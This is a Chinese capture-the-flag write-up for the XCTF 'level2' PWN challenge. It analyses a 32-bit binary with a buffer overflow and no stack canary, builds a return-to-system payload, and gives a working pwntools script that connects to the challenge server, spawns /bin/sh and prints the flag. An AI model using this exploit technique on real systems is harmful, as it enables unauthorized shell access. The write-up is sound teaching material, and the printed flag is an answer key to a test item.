-
-
[原创]攻防世界PWN新手区:level2
-
2022-4-4 13:51 7688
-
一、基础信息探查:
常规流程:file、checksec和运行程序
32位ELF文件。没有开金丝雀
二、逆向分析:
main
函数:
1 2 3 4 5 6 | int __cdecl main( int argc, const char * * argv, const char * * envp) { vulnerable_function(); system( "echo 'Hello World!'" ); return 0 ; } |
从主函数来看可以看到这里有调用一个vulnerable_function()
函数,主函数并没有可以溢出的地方,但能看到这个程序是有调用system函数的,因为这个程序是没有开canary的,那么现在大概的思路就是找到溢出点,然后通过改变栈结构来调用system函数,而system的参数则要修改为:/bin/sh。这里可以先去vulnerable_function()
函数找一找有没有溢出点:
vulnerable_function()
函数:
1 2 3 4 5 6 7 | ssize_t vulnerable_function() { char buf[ 136 ]; / / [esp + 0h ] [ebp - 88h ] BYREF system( "echo Input:" ); return read( 0 , buf, 0x100u ); } |
可以观察到有个buf,而且是个很大的空间,双击查看它的栈情况:
1 2 3 | - 00000088 buf db 136 dup(?) + 00000000 s db 4 dup(?) + 00000004 r db 4 dup(?) |
buf所占的空间大小为0x88字节,由于没有开canary保护,我们可以一直向下溢出到ret返回的地址,返回的地址也就是system函数,但是单单跳到system函数并没啥用,我们的目的是让system函数执行“/bin/sh”,所以我们构建的payload需要两个点:一个是system函数地址,另一个是”/bin/sh”的地址(这两个地址都可以通过pwntools的ELF模块获得)。下面就是考虑构建payload,这里我们分两个part来讨论:
- 填充buf处的栈空间:
- 首先肯定是将buf的空间填满,也就是需要填充0x88字节的垃圾数据
- 然后就是填充4个字节的ebp
- 接着是将返回地址填充为system函数的地址
下面要做的是构建一个新的栈,当跳转到system函数后,我们要构建好system函数视角下的栈情况这里查看system函数的代码:
12345/
/
attributes: thunk
int
system(const char
*
command)
{
return
system(command);
}
注意汇编代码处,首先箭头所指的指令是将参数字符串赋给command变量,然后还要注意jmp命令其实分为两个动作一是将eip的值压栈,然后再跳转,所以还得填充4个字节的eip值
从这里可以看出我们大概要构建的栈情况如图:
三、shellcode编写:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | from pwn import * context(os = 'linux' ,arch = 'x86' ,log_level = "debug" ) content = 0 elf = ELF( "level2" ) system_plt_addr = elf.plt[ "system" ] #获取函数plt表地址 bin_sh_addr = next (elf.search(b "/bin/sh" )) #找到/bin/sh的地址 def main(): if content = = 1 : sh = process( "level2" ) #打本地 else : sh = remote( "111.200.241.244" , 64977 ) #打远程 payload = b 'A' * 0x88 + b 'B' * 0x04 payload + = p32(system_plt_addr) payload + = p32( 0 ) + p32(bin_sh_addr) sh.sendlineafter( "Input:\n" ,payload) sh.interactive() if __name__ = = '__main__' : main() |
cyberpeace{454c892c2a452d51abdbe6b27c85fc5e}
赞赏
他的文章